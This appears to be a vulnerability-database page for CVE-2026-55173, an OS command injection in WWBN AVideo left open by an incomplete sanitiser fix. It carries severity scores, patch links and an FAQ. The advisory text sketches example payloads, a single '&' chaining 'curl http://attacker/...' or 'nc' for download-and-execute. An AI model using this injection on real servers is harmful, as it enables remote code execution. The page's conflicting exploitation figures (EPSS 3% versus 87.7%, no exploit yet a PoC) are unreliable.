CVE-2026-55173

HIGHPre-NVD 8.18.1
EchelonGraph scoreHIGH confidence

Score 8.1 from GitHub Security Advisory (severity: HIGH) published 2026-06-23. a secondary CVSS source baseline 8.1; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: epss, ghsa, secondary
Trending — 3 sources updated this weekElevated
8.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 3%CVSS: 8.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

CVSS v3
8.1
EG Score
8.1(high)
EG Risk
52(Track*)
EG Risk 52/100SSVC: Track*

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity81% × 45%
Exploitation40% × 40%
Automatability0% × 15%
Action: Watch closely — could escalate to Attend.
EPSS
87.7%
KEV
Not listed

Published

June 23, 2026

Last Modified

July 17, 2026

Advisory Details (2)

Auto-updated Jul 16, 2026
🔬 Proof of concept available. Patch available. Sources: github, github_commit.
github_commit

commit c1cfa2bea8a3 (WWBN/AVideo)

Fix landed in WWBN/AVideo commit c1cfa2bea8a3 — awaiting tagged release

https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f
github Patch Available🟡 PoC Available

Incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink · Advisory · WWBN/AVideo · GitHub

https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f

Vendor Advisories for CVE-2026-55173(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFixed in / PatchReleasedSource
composerwwbn/avideoghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 10× in last 7d / 58× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:20 UTCEG score recompute
  2. 2026-07-22 14:08 UTCEPSS rescore
  3. 2026-07-21 15:25 UTCEPSS rescore
  4. 2026-07-20 17:08 UTCEPSS rescore
  5. 2026-07-19 14:31 UTCEPSS rescore
  6. 2026-07-19 14:31 UTCEPSS rescore
  7. 2026-07-19 02:29 UTCEPSS rescore
  8. 2026-07-18 10:04 UTCEPSS rescore
  9. 2026-07-16 22:47 UTCGHSA enrichment
  10. 2026-07-16 11:17 UTCGHSA enrichment
  11. 2026-07-15 23:37 UTCGHSA enrichment
  12. 2026-07-15 12:07 UTCGHSA enrichment
  13. 2026-07-14 23:42 UTCGHSA enrichment
  14. 2026-07-14 11:56 UTCGHSA enrichment
  15. 2026-07-14 00:25 UTCGHSA enrichment
  16. 2026-07-13 12:55 UTCGHSA enrichment
  17. 2026-07-13 01:25 UTCGHSA enrichment
  18. 2026-07-12 13:53 UTCGHSA enrichment
  19. 2026-07-12 02:20 UTCGHSA enrichment
  20. 2026-07-11 14:50 UTCGHSA enrichment
  21. 2026-07-11 03:18 UTCGHSA enrichment
  22. 2026-07-10 15:49 UTCGHSA enrichment
  23. 2026-07-10 03:48 UTCGHSA enrichment
  24. 2026-07-09 16:07 UTCGHSA enrichment
  25. 2026-07-09 04:29 UTCGHSA enrichment
Show 33 more
  1. 2026-07-08 17:00 UTCGHSA enrichment
  2. 2026-07-08 05:30 UTCGHSA enrichment
  3. 2026-07-07 18:01 UTCGHSA enrichment
  4. 2026-07-07 06:14 UTCGHSA enrichment
  5. 2026-07-06 18:42 UTCGHSA enrichment
  6. 2026-07-06 06:24 UTCGHSA enrichment
  7. 2026-07-05 18:53 UTCGHSA enrichment
  8. 2026-07-05 07:23 UTCGHSA enrichment
  9. 2026-07-04 19:51 UTCGHSA enrichment
  10. 2026-07-04 08:21 UTCGHSA enrichment
  11. 2026-07-03 20:47 UTCGHSA enrichment
  12. 2026-07-03 09:15 UTCGHSA enrichment
  13. 2026-07-02 21:45 UTCGHSA enrichment
  14. 2026-07-02 10:15 UTCGHSA enrichment
  15. 2026-07-01 22:45 UTCGHSA enrichment
  16. 2026-07-01 11:16 UTCGHSA enrichment
  17. 2026-06-30 23:46 UTCGHSA enrichment
  18. 2026-06-30 11:59 UTCGHSA enrichment
  19. 2026-06-30 00:28 UTCGHSA enrichment
  20. 2026-06-29 12:59 UTCGHSA enrichment
  21. 2026-06-29 01:29 UTCGHSA enrichment
  22. 2026-06-28 13:59 UTCGHSA enrichment
  23. 2026-06-28 02:30 UTCGHSA enrichment
  24. 2026-06-27 15:00 UTCGHSA enrichment
  25. 2026-06-27 03:29 UTCGHSA enrichment
  26. 2026-06-26 15:45 UTCGHSA enrichment
  27. 2026-06-26 04:16 UTCGHSA enrichment
  28. 2026-06-25 16:46 UTCGHSA enrichment
  29. 2026-06-25 05:16 UTCGHSA enrichment
  30. 2026-06-24 17:45 UTCGHSA enrichment
  31. 2026-06-24 05:54 UTCGHSA enrichment
  32. 2026-06-23 18:21 UTCEG score recompute
  33. 2026-06-23 18:21 UTCGHSA enrichment

Frequently asked(5)

What is CVE-2026-55173?
CVE-2026-55173 is a high vulnerability published on June 23, 2026. WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand()…
When was CVE-2026-55173 disclosed?
CVE-2026-55173 was first published in the National Vulnerability Database on June 23, 2026, with the most recent update on July 17, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-55173 actively exploited?
CVE-2026-55173 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 87.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-55173?
CVE-2026-55173 has a CVSS v3 base score of 8.1 (NVD).
How do I remediate CVE-2026-55173?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55173, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55173

Explore →

Is Your Infrastructure Affected by CVE-2026-55173?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.